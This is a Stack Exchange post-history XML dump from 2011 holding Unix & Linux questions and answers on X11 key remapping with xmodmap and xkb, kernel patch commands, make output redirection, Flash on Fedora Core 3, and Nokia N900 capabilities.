  <row Id="22915" PostHistoryTypeId="25" PostId="9629" RevisionGUID="ebf45bbe-115c-4461-98c1-7702c4bab5f3" CreationDate="2011-03-19T08:31:21.887" Comment="http://twitter.com/#!/StackUnix/status/49025152402456576" />
  <row Id="22916" PostHistoryTypeId="2" PostId="9632" RevisionGUID="45d91c4f-7271-4f20-9dc4-f227d5f595e1" CreationDate="2011-03-19T09:03:16.443" UserId="4843" Text="Lightweight X11 =&gt; (Xvesa+jwm)" />
  <row Id="22917" PostHistoryTypeId="2" PostId="9633" RevisionGUID="2b600651-6c72-46c4-89c4-28b11b383217" CreationDate="2011-03-19T09:29:40.383" UserId="4200" Text="The XFree86 implementation of the X server includes [TinyX][1], which is part of many small linux distributions e.g. [Damn Small Linux][2] or embedded linux distributions.&#xD;&#xA;&#xD;&#xA;TinyX perfectly fits you requirements.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pps.jussieu.fr/~jch/software/kdrive.html&#xD;&#xA;  [2]: http://www.damnsmalllinux.org/wiki/index.php/TinyX" />
  <row Id="22918" PostHistoryTypeId="2" PostId="9634" RevisionGUID="84bacecb-b873-4fe0-9a50-65e77de98c48" CreationDate="2011-03-19T09:38:39.050" UserId="1924" Text="I remember ubuntu like a system which had every repository that I could enable and use. But now in fedora I can use only her repository and it's all. Do you know if I can change my fedora to be more like ubuntu?" />
  <row Id="22919" PostHistoryTypeId="1" PostId="9634" RevisionGUID="84bacecb-b873-4fe0-9a50-65e77de98c48" CreationDate="2011-03-19T09:38:39.050" UserId="1924" Text="fedora like ubuntu" />
  <row Id="22920" PostHistoryTypeId="3" PostId="9634" RevisionGUID="84bacecb-b873-4fe0-9a50-65e77de98c48" CreationDate="2011-03-19T09:38:39.050" UserId="1924" Text="éubuntuàéfedoraà" />
  <row Id="22921" PostHistoryTypeId="5" PostId="9476" RevisionGUID="c8488ad5-2f86-4d3a-9639-db22aeff2a8d" CreationDate="2011-03-19T09:47:19.783" UserId="2780" Comment="outlined where to look for the difference in the workflow" Text="If you read changelogs, you will see a lot of collaboration between Debian and Ubuntu. Here is a workflow of the exchanges:&#xD;&#xA;&#xD;&#xA;![workflow](http://www.diagrammr.com/png?key=dodjkzMu8Bg)&#xD;&#xA;&#xD;&#xA;Security fixes not shown as they are everywhere except `testing`.&#xD;&#xA;&#xD;&#xA;The biggest difference between those siamese twins is *how does a package leaves the unstable/beta state to join the releasable*. In one case it is just time, in the other it is some form of quality assessment.&#xD;&#xA;&#xD;&#xA;* [Debian release cycle][debian]&#xD;&#xA;* [Ubuntu reviewing of Debian packages: From Debian to Ubuntu][debian2ubuntu]&#xD;&#xA;* [Utnubu: from Ubuntu to Debian][ubuntu2debian]&#xD;&#xA;&#xD;&#xA; [debian]: http://wiki.debian.org/DebianTesting&#xD;&#xA; [debian2ubuntu]: https://wiki.ubuntu.com/Ubuntu/ForDebianDevelopers#Why%20does%20Ubuntu%20have%20an%20older/buggy%20version%20of%20my%20package?&#xD;&#xA; [ubuntu2debian]: http://wiki.debian.org/Utnubu&#xD;&#xA;&#xD;&#xA;Personally, I choose Debian `testing` because it has some form of stability (not being `unstable` for at least 10 days) with no specific patch day in the year (only once every two years). In my point of view, Debian testing is even more stable than an biannual Ubuntu (not LTS).&#xD;&#xA;&#xD;&#xA;For other person which ask for advise, I say &quot;Ubuntu&quot;, for the sake of simplicity, people love to reinstall, I don't." />
  <row Id="22922" PostHistoryTypeId="2" PostId="9635" RevisionGUID="475a77d6-bcc6-4a41-b54a-246430f786b4" CreationDate="2011-03-19T10:18:35.870" UserId="5884" Text="#Aim#&#xD;&#xA;&#xD;&#xA;I would like to assign Alt to CapsLock-key, and Meta to Alt-key. But in such way, Alt-key would no longer be recognized as Alt, and CapsLock-key would no longer be recognized as CapsLock.&#xD;&#xA;&#xD;&#xA;openSUSE 11.4&#xD;&#xA;&#xD;&#xA;#Previously#&#xD;&#xA;&#xD;&#xA;openSUSE 11.1 -- since I am the only user of my computer I &quot;simply&quot; edited the /usr/share/X11/xkb/keycodes/xfree86 file and it worked without problem. Keys were wired to their symbols at the lowest level.&#xD;&#xA;&#xD;&#xA;#Problems#&#xD;&#xA;&#xD;&#xA;##1. xkb##&#xD;&#xA;&#xD;&#xA;I created a variant of Polish layout (pl_ext) which (for test) consists of such entries:&#xD;&#xA;&#xD;&#xA;    key &lt;CAPS&gt; { [ Alt_L ] };&#xD;&#xA;    modifier_map Mod1 { Alt_L, Alt_R };&#xD;&#xA;&#xD;&#xA;However this does simply nothing, CapsLock-key in xev is recognized (symbol) as Alt_L, but when I press CapsLock-key it behaves like CapsLock (e.g. assuming you have File in menu, Alt+F should open this menu, it does not).&#xD;&#xA;&#xD;&#xA;**QUESTION**: how to define a layout file to set CapsLock-key as Alt, and Alt-key as Meta?&#xD;&#xA;&#xD;&#xA;##2. xfree86##&#xD;&#xA;&#xD;&#xA;But now this does not work, I guess other file table is read instead of xfree86.&#xD;&#xA;&#xD;&#xA;**QUESTION:** how to find out which keycode table file is used by system (X/Gnome)?&#xD;&#xA;&#xD;&#xA;##3. xmodmap ##&#xD;&#xA;&#xD;&#xA;Half of success here. This part works as desired:&#xD;&#xA;&#xD;&#xA;    remove Lock = Caps_Lock&#xD;&#xA;    keysym Caps_Lock = Alt_L&#xD;&#xA;&#xD;&#xA;Now, I have trully CapsLock-key which is mapped to Alt. But this:&#xD;&#xA;&#xD;&#xA;    keysym Alt_L = Meta_L&#xD;&#xA;&#xD;&#xA;does strange thing. xev shows that Alt-key is mapped to Meta, but when I press Alt+F (this should be mapped to Meta+F --&gt; doing nothing) the File menu is opened. What's more, when I press Alt+Tab, I get window-switcher (I should not -- Alt is Meta now).&#xD;&#xA;&#xD;&#xA;**QESTION**: how to &quot;delete&quot; old behavior for Alt-key?&#xD;&#xA;&#xD;&#xA;#Summary#&#xD;&#xA;&#xD;&#xA;Answering any question would (hopefully) solve my problem, however I prefer using xkb entirely because I could then pack all the files for xkb and change layout in one place. No thank you in advance for any help!" />
  <row Id="22923" PostHistoryTypeId="1" PostId="9635" RevisionGUID="475a77d6-bcc6-4a41-b54a-246430f786b4" CreationDate="2011-03-19T10:18:35.870" UserId="5884" Text="how to assign another modifier to Alt key for X11?" />
  <row Id="22924" PostHistoryTypeId="3" PostId="9635" RevisionGUID="475a77d6-bcc6-4a41-b54a-246430f786b4" CreationDate="2011-03-19T10:18:35.870" UserId="5884" Text="ékeyboardàékeyboardöshortcutsàéx11à" />
  <row Id="22925" PostHistoryTypeId="5" PostId="9635" RevisionGUID="b7c4197d-1659-40e5-a305-a9cc7646a9b5" CreationDate="2011-03-19T10:45:04.460" UserId="5884" Comment="deleted 3 characters in body" Text="#Aim#&#xD;&#xA;&#xD;&#xA;I would like to assign Alt to CapsLock-key, and Meta to Alt-key. But in such way, Alt-key would no longer be recognized as Alt, and CapsLock-key would no longer be recognized as CapsLock.&#xD;&#xA;&#xD;&#xA;openSUSE 11.4&#xD;&#xA;&#xD;&#xA;#Previously#&#xD;&#xA;&#xD;&#xA;openSUSE 11.1 -- since I am the only user of my computer I &quot;simply&quot; edited the /usr/share/X11/xkb/keycodes/xfree86 file and it worked without problem. Keys were wired to their symbols at the lowest level.&#xD;&#xA;&#xD;&#xA;#Problems#&#xD;&#xA;&#xD;&#xA;##1. xkb##&#xD;&#xA;&#xD;&#xA;I created a variant of Polish layout (pl_ext) which (for test) consists of such entries:&#xD;&#xA;&#xD;&#xA;    key &lt;CAPS&gt; { [ Alt_L ] };&#xD;&#xA;    modifier_map Mod1 { Alt_L, Alt_R };&#xD;&#xA;&#xD;&#xA;However this does simply nothing, CapsLock-key in xev is recognized (symbol) as Alt_L, but when I press CapsLock-key it behaves like CapsLock (e.g. assuming you have File in menu, Alt+F should open this menu, it does not).&#xD;&#xA;&#xD;&#xA;**QUESTION**: how to define a layout file to set CapsLock-key as Alt, and Alt-key as Meta?&#xD;&#xA;&#xD;&#xA;##2. xfree86##&#xD;&#xA;&#xD;&#xA;But now this does not work, I guess other file table is read instead of xfree86.&#xD;&#xA;&#xD;&#xA;**QUESTION:** how to find out which keycode table file is used by system (X/Gnome)?&#xD;&#xA;&#xD;&#xA;##3. xmodmap ##&#xD;&#xA;&#xD;&#xA;Half of success here. This part works as desired:&#xD;&#xA;&#xD;&#xA;    remove Lock = Caps_Lock&#xD;&#xA;    keysym Caps_Lock = Alt_L&#xD;&#xA;&#xD;&#xA;Now, I have trully CapsLock-key which is mapped to Alt. But this:&#xD;&#xA;&#xD;&#xA;    keysym Alt_L = Meta_L&#xD;&#xA;&#xD;&#xA;does strange thing. xev shows that Alt-key is mapped to Meta, but when I press Alt+F (this should be mapped to Meta+F --&gt; doing nothing) the File menu is opened. What's more, when I press Alt+Tab, I get window-switcher (I should not -- Alt is Meta now).&#xD;&#xA;&#xD;&#xA;**QESTION**: how to &quot;delete&quot; old behavior for Alt-key?&#xD;&#xA;&#xD;&#xA;#Summary#&#xD;&#xA;&#xD;&#xA;Answering any question would (hopefully) solve my problem, however I prefer using xkb entirely because I could then pack all the files for xkb and change layout in one place. Thank you in advance for any help!" />
  <row Id="22926" PostHistoryTypeId="2" PostId="9636" RevisionGUID="54f66acd-3537-432e-bb9d-f7d0c0b55021" CreationDate="2011-03-19T11:05:25.653" UserId="885" Text="(This answer is about xmodmap only. I'm sure it's possible to do this with XKB, I just don't know how.)&#xD;&#xA;&#xD;&#xA;Modifiers and keysyms are assigned independently. But you get strange effects if you don't set them consistently. I think all you're missing is the `add` command to assign a modifier to `Meta_L`, though you may also need to clear and reassign the modifier keys. You may replace `Mod1` and `Mod2` by `Mod3`, `Mod4` and `Mod5`: they are interchangeable, just make sure you don't use one for two different purposes.&#xD;&#xA;&#xD;&#xA;    clear Mod1&#xD;&#xA;    clear Mod2&#xD;&#xA;    remove Lock = Caps_Lock&#xD;&#xA;    keysym Caps_Lock = Alt_L&#xD;&#xA;    keysym Alt_L = Meta_L&#xD;&#xA;    add Mod1 = Alt_L Alt_R&#xD;&#xA;    add Mod2 = Meta_L Meta_R&#xD;&#xA;" />
  <row Id="22927" PostHistoryTypeId="6" PostId="9635" RevisionGUID="8b8baea3-79a6-47aa-8867-a2b0d45465b3" CreationDate="2011-03-19T11:05:44.857" UserId="885" Comment="edited tags" Text="ékeyboardàéx11àéxmodmapàéxkbà" />
  <row Id="22928" PostHistoryTypeId="25" PostId="9624" RevisionGUID="e32f839c-e272-4f05-a214-ead5458cf746" CreationDate="2011-03-19T11:31:22.150" Comment="http://twitter.com/#!/StackUnix/status/49070452315926528" />
  <row Id="22929" PostHistoryTypeId="5" PostId="9634" RevisionGUID="6a66ad90-9e8f-4183-8bc1-f2696e1e59dd" CreationDate="2011-03-19T11:37:01.000" UserId="1924" Comment="added 10 characters in body" Text="I remember ubuntu like a system which had every repository that I could enable and download apps. But now in fedora I can use only her repository and it's all. Do you know if I can change my fedora to be more like ubuntu?" />
  <row Id="22930" PostHistoryTypeId="2" PostId="9637" RevisionGUID="1398989c-6568-46c4-a1b4-fa5dba767569" CreationDate="2011-03-19T12:30:02.233" UserId="1924" Text="I am interested what n900 can do with linux (maemoo 5) -based system installed.&#xD;&#xA;&#xD;&#xA;Can It for example:&#xD;&#xA;&#xD;&#xA;1. be able to compile c++ or java files?&#xD;&#xA;2. be able to hack into wifi (I meant advanced wlan card features)&#xD;&#xA;3. create own wifi acces point?&#xD;&#xA;4. Be WWW server?&#xD;&#xA;5. use normal usb keyboard? (after changing plug into smaller)" />
  <row Id="22931" PostHistoryTypeId="1" PostId="9637" RevisionGUID="1398989c-6568-46c4-a1b4-fa5dba767569" CreationDate="2011-03-19T12:30:02.233" UserId="1924" Text="nokia n900 linux based what it can?" />
  <row Id="22932" PostHistoryTypeId="3" PostId="9637" RevisionGUID="1398989c-6568-46c4-a1b4-fa5dba767569" CreationDate="2011-03-19T12:30:02.233" UserId="1924" Text="élinuxà" />
  <row Id="22933" PostHistoryTypeId="4" PostId="9637" RevisionGUID="3eb82844-8496-4c19-a6ac-ec5bf1832534" CreationDate="2011-03-19T12:37:17.297" UserId="1924" Comment="edited title" Text="nokia n900 linux based what can it?" />
  <row Id="22934" PostHistoryTypeId="2" PostId="9638" RevisionGUID="67bad50b-c17a-4516-85ea-233a2d317b47" CreationDate="2011-03-19T12:46:09.840" UserId="5887" Text="This was from http://wiki.karen.net.nz/index.php/Network_Diagnostic_Tool_%28NDT%29：&#xD;&#xA;&#xD;&#xA;**Extract the patch**&#xD;&#xA;&#xD;&#xA;tar -xvzf /usr/src/web100-2.5.22-200810130047.tar.gz&#xD;&#xA;&#xD;&#xA;bzip2 web100/ web100-2.6.27-2.5.22-200810130047.patch&#xD;&#xA;&#xD;&#xA;**Test the patch**&#xD;&#xA;&#xD;&#xA;bzip2 -dc /usr/src/linux/web100/ web100-2.6.27-2.5.22-200810130047.patch.bz2 | patch -p1 --dry-run&#xD;&#xA;&#xD;&#xA;I looked at the .patch, the diff output of many files and the file .patch.bz2 after the bzip2 command which is too also the diff output of many files, they seem to be the same. My question is why is bzip2 even needed to turn the .patch into a .patch.bz2? Is it for the redirection to std output from the &quot;-dc&quot; option for the patch command? Even if it is, why not just not just use the patch command in the form something like this:patch -p1 &lt; patchfile? I don't see why the bzip2 is done here. Thanks!&#xD;&#xA;&#xD;&#xA;Also, I think the bzip2 might have an extra space in the command after &quot;web100/&quot;, right?&#xD;&#xA;" />
  <row Id="22935" PostHistoryTypeId="1" PostId="9638" RevisionGUID="67bad50b-c17a-4516-85ea-233a2d317b47" CreationDate="2011-03-19T12:46:09.840" UserId="5887" Text="Why is bzip2 needed in the kernel patch instructions?" />
  <row Id="22936" PostHistoryTypeId="3" PostId="9638" RevisionGUID="67bad50b-c17a-4516-85ea-233a2d317b47" CreationDate="2011-03-19T12:46:09.840" UserId="5887" Text="ékernelàépatchà" />
  <row Id="22937" PostHistoryTypeId="2" PostId="9639" RevisionGUID="7e75d329-87a4-49a0-a7e8-c8582a67020e" CreationDate="2011-03-19T13:13:47.093" UserId="5888" Text="How can I redirect output from MAKE i such a way that I get only --silent output to screen, but full MAKE-output to a log file?&#xD;&#xA;&#xD;&#xA;Or can this be achieved through some sdout/stderr redirection magic?" />
  <row Id="22938" PostHistoryTypeId="1" PostId="9639" RevisionGUID="7e75d329-87a4-49a0-a7e8-c8582a67020e" CreationDate="2011-03-19T13:13:47.093" UserId="5888" Text="How to buld with make and only --silent output on screen, but get full output to log file" />
  <row Id="22939" PostHistoryTypeId="3" PostId="9639" RevisionGUID="7e75d329-87a4-49a0-a7e8-c8582a67020e" CreationDate="2011-03-19T13:13:47.093" UserId="5888" Text="ébashàémakeà" />
  <row Id="22940" PostHistoryTypeId="5" PostId="9638" RevisionGUID="70e4022a-6a46-4aa2-8d2c-f68f3ac415d3" CreationDate="2011-03-19T13:26:11.867" UserId="3069" Comment="added 31 characters in body" Text="This is from [here][1].&#xD;&#xA;&#xD;&#xA;**Extract the patch**&#xD;&#xA;&#xD;&#xA;    tar -xvzf /usr/src/web100-2.5.22-200810130047.tar.gz&#xD;&#xA;&#xD;&#xA;    bzip2 web100/ web100-2.6.27-2.5.22-200810130047.patch&#xD;&#xA;&#xD;&#xA;**Test the patch**&#xD;&#xA;&#xD;&#xA;    bzip2 -dc /usr/src/linux/web100/ web100-2.6.27-2.5.22-200810130047.patch.bz2 | patch -p1 --dry-run&#xD;&#xA;&#xD;&#xA;I looked at the .patch, the diff output of many files and the file .patch.bz2 after the bzip2 command which is too also the diff output of many files, they seem to be the same. My question is why is bzip2 even needed to turn the .patch into a .patch.bz2? Is it for the redirection to std output from the &quot;-dc&quot; option for the patch command? Even if it is, why not just not just use the patch command in the form something like this:patch -p1 &lt; patchfile? I don't see why the bzip2 is done here. Thanks!&#xD;&#xA;&#xD;&#xA;Also, I think the bzip2 might have an extra space in the command after &quot;web100/&quot;, right?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.karen.net.nz/index.php/Network_Diagnostic_Tool_%28NDT%29" />
  <row Id="22941" PostHistoryTypeId="2" PostId="9640" RevisionGUID="669347f5-4437-4861-9a9c-8e62c172f629" CreationDate="2011-03-19T13:26:23.400" UserId="5139" Text="Latest flash rpm and tarball has forsaken my machine with fedora core 3 OS. &#xD;&#xA;&#xD;&#xA;There are two browsers currently installed in the System. Firefox 2.0.x and Opera 10.11. Those two browsers do not display flash content. &#xD;&#xA;&#xD;&#xA;I tried to install the latest FlashPlayer plugin in the browsers. But Installing RPM displayed a list of missing dependencies. And even after I copied the libflashplayer.so file into the plugin path of the browsers they wont show me flash content.&#xD;&#xA;&#xD;&#xA;Since I am not permitted to upgrade the OS, which would result in loss of important data, I only want the earlier version of Flash player rpm or tarball for Linux(fedora Core 3). &#xD;&#xA;&#xD;&#xA;&lt;ol&gt;&#xD;&#xA;&lt;li&gt;From where can I find oldest FlashPlayer rpm or tarball, for Linux?&lt;/li&gt;&#xD;&#xA;&lt;li&gt;If it is not possible to install the flash plugin, then what are the other alternatives?&lt;/li&gt;&#xD;&#xA;&lt;/ol&gt;&#xD;&#xA;Thanks." />
  <row Id="22942" PostHistoryTypeId="1" PostId="9640" RevisionGUID="669347f5-4437-4861-9a9c-8e62c172f629" CreationDate="2011-03-19T13:26:23.400" UserId="5139" Text="how can I install flash plugin in Fedora core 3 machine?" />
  <row Id="22943" PostHistoryTypeId="3" PostId="9640" RevisionGUID="669347f5-4437-4861-9a9c-8e62c172f629" CreationDate="2011-03-19T13:26:23.400" UserId="5139" Text="éfedoraàébrowseràéadobeöflashàédependenciesà" />
  <row Id="22944" PostHistoryTypeId="12" PostId="9638" RevisionGUID="d1291477-2e41-44a4-b422-d913a6d19733" CreationDate="2011-03-19T13:26:23.987" UserId="5887" Text="[{&quot;Id&quot;:5887,&quot;DisplayName&quot;:&quot;user5887&quot;}]" />
  <row Id="22945" PostHistoryTypeId="13" PostId="9638" RevisionGUID="c36fbe39-c440-4c95-bfb2-3e0ffd5af3b3" CreationDate="2011-03-19T13:26:36.857" UserId="5887" Text="[{&quot;Id&quot;:5887,&quot;DisplayName&quot;:&quot;user5887&quot;}]" />
  <row Id="22946" PostHistoryTypeId="5" PostId="9638" RevisionGUID="990c81a3-4697-4148-9b83-af06b2451009" CreationDate="2011-03-19T13:28:20.553" UserId="5887" Comment="added 16 characters in body" Text="This is from [here][1].&#xD;&#xA;&#xD;&#xA;**Extract the patch**&#xD;&#xA;&#xD;&#xA;    tar -xvzf /usr/src/web100-2.5.22-200810130047.tar.gz&#xD;&#xA;&#xD;&#xA;    bzip2 web100/ web100-2.6.27-2.5.22-200810130047.patch&#xD;&#xA;&#xD;&#xA;**Test the patch**&#xD;&#xA;&#xD;&#xA;    bzip2 -dc /usr/src/linux/web100/ web100-2.6.27-2.5.22-200810130047.patch.bz2 | patch -p1 --dry-run&#xD;&#xA;&#xD;&#xA;I looked at the `.patch`, the diff output of many files and the file `.patch.bz2` after the bzip2 command which is too also the diff output of many files, they seem to be the same. My question is why is `bzip2` even needed to turn the `.patch` into a `.patch.bz2`? Is it for the redirection to std output from the `-dc` option for the patch command? Even if it is, why not just not just use the patch command in the form something like this:`patch -p1 &lt; patchfile`? I don't see why the `bzip2` is done here. Thanks!&#xD;&#xA;&#xD;&#xA;Also, I think the `bzip2` might have an extra space in the command after `web100/`, right?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.karen.net.nz/index.php/Network_Diagnostic_Tool_%28NDT%29" />
  <row Id="22947" PostHistoryTypeId="2" PostId="9641" RevisionGUID="86c0bf1f-c6b6-4de5-9418-9c2682308ac6" CreationDate="2011-03-19T13:37:11.287" UserId="1987" Text="It's unneeded. Those instructions could be abbreviated to:&#xD;&#xA;&#xD;&#xA;    tar -xvzf /usr/src/web100-2.5.22-200810130047.tar.gz&#xD;&#xA;    patch -p1 --dry-run &lt; web100/ web100-2.6.27-2.5.22-200810130047.patch&#xD;&#xA;    " />
  <row Id="22948" PostHistoryTypeId="5" PostId="9637" RevisionGUID="32dbc06a-9008-4450-9ad5-e45c533dc0da" CreationDate="2011-03-19T13:37:50.147" UserId="1924" Comment="added 24 characters in body" Text="I am interested what n900 can do with linux (maemoo 5) -based system installed.&#xD;&#xA;&#xD;&#xA;Can It for example:&#xD;&#xA;&#xD;&#xA;1. be able to compile c++ or java files?&#xD;&#xA;2. be able to hack into wifi (I meant advanced wlan card features)&#xD;&#xA;3. create own wifi access point?&#xD;&#xA;4. Be WWW server?&#xD;&#xA;5. use normal usb keyboard? (after changing plug into smaller)&#xD;&#xA;6. play flash games ?" />
  <row Id="22949" PostHistoryTypeId="17" PostId="9643" RevisionGUID="4654e0d7-1a20-41ff-b9a1-df337aa6bb5c" CreationDate="2011-03-19T13:45:44.303" UserId="-1" Comment="from http://stackoverflow.com/questions/5361424/how-to-make-system-service-out-of-jar-file-linux/5361510#5361510" Text="" />
  <row Id="22950" PostHistoryTypeId="17" PostId="9644" RevisionGUID="1f6253e0-0fb6-45cf-886e-97c9e4562b7c" CreationDate="2011-03-19T13:45:44.303" UserId="-1" Comment="from http://stackoverflow.com/questions/5361424/how-to-make-system-service-out-of-jar-file-linux/5361831#5361831" Text="" />
  <row Id="22951" PostHistoryTypeId="2" PostId="9643" RevisionGUID="2f24a233-c2a4-4d0a-a340-8382fa5fe37e" CreationDate="2011-03-19T10:24:12.250" UserDisplayName="Georgy Bolyuba" Text="Common solution is to use [JSW][1], I think&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wrapper.tanukisoftware.com/doc/english/download.jsp" />
  <row Id="22952" PostHistoryTypeId="2" PostId="9644" RevisionGUID="4ab7463c-3920-4075-bf23-fecc50f3b400" CreationDate="2011-03-19T11:38:38.750" UserId="1629" Text="You could use [jsvc][1] from the Apache Commons project. You'll still need to write an init script utilizing `jsvc`, though.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://commons.apache.org/daemon/jsvc.html" />
  <row Id="22953" PostHistoryTypeId="2" PostId="9642" RevisionGUID="d0f36d6a-d882-48d1-b98d-8aac9c2e78fa" CreationDate="2011-03-19T10:07:29.420" UserDisplayName="Mat" Text="hello!&#xD;&#xA;&#xD;&#xA;i wrote a little java server which i'm running on my CentOS 5 VPS server. currently i just ssh onto the server and start the jar through commandline.&#xD;&#xA;How an i turn this jar into a system service and set it such that it starts automatically when the system starts and also that it restarts automatically if it crashes?" />
  <row Id="22954" PostHistoryTypeId="1" PostId="9642" RevisionGUID="d0f36d6a-d882-48d1-b98d-8aac9c2e78fa" CreationDate="2011-03-19T10:07:29.420" UserDisplayName="Mat" Text="how to make system service out of .jar file? (linux)" />
  <row Id="22955" PostHistoryTypeId="3" PostId="9642" RevisionGUID="d0f36d6a-d882-48d1-b98d-8aac9c2e78fa" CreationDate="2011-03-19T10:07:29.420" UserDisplayName="Mat" Text="éjavaàécentosà" />
  <row Id="22956" PostHistoryTypeId="17" PostId="9642" RevisionGUID="641787da-8a2e-4521-b210-4c6497febbc0" CreationDate="2011-03-19T13:45:44.303" UserId="-1" Comment="from http://stackoverflow.com/questions/5361424/how-to-make-system-service-out-of-jar-file-linux" Text="" />
  <row Id="22957" PostHistoryTypeId="5" PostId="9635" RevisionGUID="c8691a15-d623-4885-9bf7-dedd969b3532" CreationDate="2011-03-19T13:47:13.197" UserId="5884" Comment="added 592 characters in body" Text="#Aim#&#xD;&#xA;&#xD;&#xA;I would like to assign Alt to CapsLock-key, and Meta to Alt-key. But in such way, Alt-key would no longer be recognized as Alt, and CapsLock-key would no longer be recognized as CapsLock.&#xD;&#xA;&#xD;&#xA;openSUSE 11.4&#xD;&#xA;&#xD;&#xA;#Previously#&#xD;&#xA;&#xD;&#xA;openSUSE 11.1 -- since I am the only user of my computer I &quot;simply&quot; edited the /usr/share/X11/xkb/keycodes/xfree86 file and it worked without problem. Keys were wired to their symbols at the lowest level.&#xD;&#xA;&#xD;&#xA;#Problems#&#xD;&#xA;&#xD;&#xA;##1. xkb##&#xD;&#xA;&#xD;&#xA;I created a variant of Polish layout (pl_ext) which (for test) consists of such entries:&#xD;&#xA;&#xD;&#xA;    key &lt;CAPS&gt; { [ Alt_L ] };&#xD;&#xA;    modifier_map Mod1 { Alt_L, Alt_R };&#xD;&#xA;&#xD;&#xA;However this does simply nothing, CapsLock-key in xev is recognized (symbol) as Alt_L, but when I press CapsLock-key it behaves like CapsLock (e.g. assuming you have File in menu, Alt+F should open this menu, it does not).&#xD;&#xA;&#xD;&#xA;*Read more in edits.*&#xD;&#xA;&#xD;&#xA;**QUESTION**: how to define a layout file to set CapsLock-key as Alt, and Alt-key as Meta?&#xD;&#xA;&#xD;&#xA;##2. xfree86##&#xD;&#xA;&#xD;&#xA;But now this does not work, I guess other file table is read instead of xfree86.&#xD;&#xA;&#xD;&#xA;**QUESTION:** how to find out which keycode table file is used by system (X/Gnome)?&#xD;&#xA;&#xD;&#xA;##3. xmodmap ##&#xD;&#xA;&#xD;&#xA;*This part is solved thanks to Gilles.*&#xD;&#xA;&#xD;&#xA;Half of success here. This part works as desired:&#xD;&#xA;&#xD;&#xA;    remove Lock = Caps_Lock&#xD;&#xA;    keysym Caps_Lock = Alt_L&#xD;&#xA;&#xD;&#xA;Now, I have trully CapsLock-key which is mapped to Alt. But this:&#xD;&#xA;&#xD;&#xA;    keysym Alt_L = Meta_L&#xD;&#xA;&#xD;&#xA;does strange thing. xev shows that Alt-key is mapped to Meta, but when I press Alt+F (this should be mapped to Meta+F --&gt; doing nothing) the File menu is opened. What's more, when I press Alt+Tab, I get window-switcher (I should not -- Alt is Meta now).&#xD;&#xA;&#xD;&#xA;**QESTION**: how to &quot;delete&quot; old behavior for Alt-key?&#xD;&#xA;&#xD;&#xA;#Summary#&#xD;&#xA;&#xD;&#xA;Answering any question would (hopefully) solve my problem, however I prefer using xkb entirely because I could then pack all the files for xkb and change layout in one place. Thank you in advance for any help!&#xD;&#xA;&#xD;&#xA;#EDITS#&#xD;&#xA;&#xD;&#xA;##(1) ad. xkb##&#xD;&#xA;&#xD;&#xA;Half of success here too! Now I have such entries&#xD;&#xA;&#xD;&#xA;    key &lt;CAPS&gt; { [ Alt_L ] };&#xD;&#xA;    modifier_map Mod1 { &lt;CAPS&gt; }; // this is a difference&#xD;&#xA;&#xD;&#xA;and this works as desired. This does not:&#xD;&#xA;&#xD;&#xA;    key &lt;LALT&gt; { [ Meta_L ] } ;&#xD;&#xA;    key &lt;RALT&gt; { [ Meta_R ] } ;&#xD;&#xA;    modifier_map Mod5 { &lt;LALT&gt;,&lt;RALT&gt; };&#xD;&#xA;&#xD;&#xA;Alt-keys are recognized as Meta by xev, but I still can open the menus with Alt+F, switch windows, and I shouldn't. And on the other hand I cannot enter any national character, and I should." />
  <row Id="22958" PostHistoryTypeId="2" PostId="9645" RevisionGUID="23a893e0-3a4b-4170-a62d-e85185541053" CreationDate="2011-03-19T13:47:33.740" UserId="5715" Text="Ubuntu 10.10 network connection work fine at the start but few minutes later the network manager popup a message saying disconnected you are offline and the chrome browser return error message like &quot;name not resolved&quot; but in windows 7 its OK .&lt;br/&gt;&lt;br/&gt;&#xD;&#xA;it was fine in Ubuntu tell i updated it it downloaded 300 MB of updates then installed it then the problem occurred .it was freshly installed !!!!any help Linux champions???" />
  <row Id="22959" PostHistoryTypeId="1" PostId="9645" RevisionGUID="23a893e0-3a4b-4170-a62d-e85185541053" CreationDate="2011-03-19T13:47:33.740" UserId="5715" Text="ubuntu 10.10 network connection cut down after few minutes of starting" />
  <row Id="22960" PostHistoryTypeId="3" PostId="9645" RevisionGUID="23a893e0-3a4b-4170-a62d-e85185541053" CreationDate="2011-03-19T13:47:33.740" UserId="5715" Text="éubuntuàénetworkingàécutà" />
  <row Id="22961" PostHistoryTypeId="2" PostId="9646" RevisionGUID="e620d237-d26a-4675-8b0e-76914a98ce9a" CreationDate="2011-03-19T14:08:28.857" UserId="5888" Text="How can I user BASH magic to get this?&lt;br/&gt;&#xD;&#xA;I want to only see stderr output on the screen, &lt;br/&gt;&#xD;&#xA;but I want both stdout and stderr to be written to a file." />
  <row Id="22962" PostHistoryTypeId="1" PostId="9646" RevisionGUID="e620d237-d26a-4675-8b0e-76914a98ce9a" CreationDate="2011-03-19T14:08:28.857" UserId="5888" Text="Show only stderr on screen but write both stdout and stderr to file" />
  <row Id="22963" PostHistoryTypeId="3" PostId="9646" RevisionGUID="e620d237-d26a-4675-8b0e-76914a98ce9a" CreationDate="2011-03-19T14:08:28.857" UserId="5888" Text="ébashà" />
  <row Id="22964" PostHistoryTypeId="4" PostId="9639" RevisionGUID="04178447-b260-4973-bd93-d43a54d3b295" CreationDate="2011-03-19T14:09:37.140" UserId="5888" Comment="edited title" Text="How to buld with MAKE and only --silent output on screen, but get full output to log file" />
  <row Id="22965" PostHistoryTypeId="5" PostId="9637" RevisionGUID="00162b5d-7956-4965-ac94-38c5b8631bdf" CreationDate="2011-03-19T14:13:45.207" UserId="2511" Comment="deleted 4 characters in body; edited tags; edited title" Text="I am interested what n900 can do with Linux-based Maemo 5 system installed.&#xD;&#xA;&#xD;&#xA;Can it for example:&#xD;&#xA;&#xD;&#xA;1. be able to compile c++ or java files?&#xD;&#xA;2. be able to hack into wifi (I meant advanced wlan card features)&#xD;&#xA;3. create own wifi access point?&#xD;&#xA;4. Be WWW server?&#xD;&#xA;5. use normal usb keyboard? (after changing plug into smaller)&#xD;&#xA;6. play flash games ?" />
  <row Id="22966" PostHistoryTypeId="4" PostId="9637" RevisionGUID="00162b5d-7956-4965-ac94-38c5b8631bdf" CreationDate="2011-03-19T14:13:45.207" UserId="2511" Comment="deleted 4 characters in body; edited tags; edited title" Text="How limited is the Linux-based distribution on the Nokia n900?" />
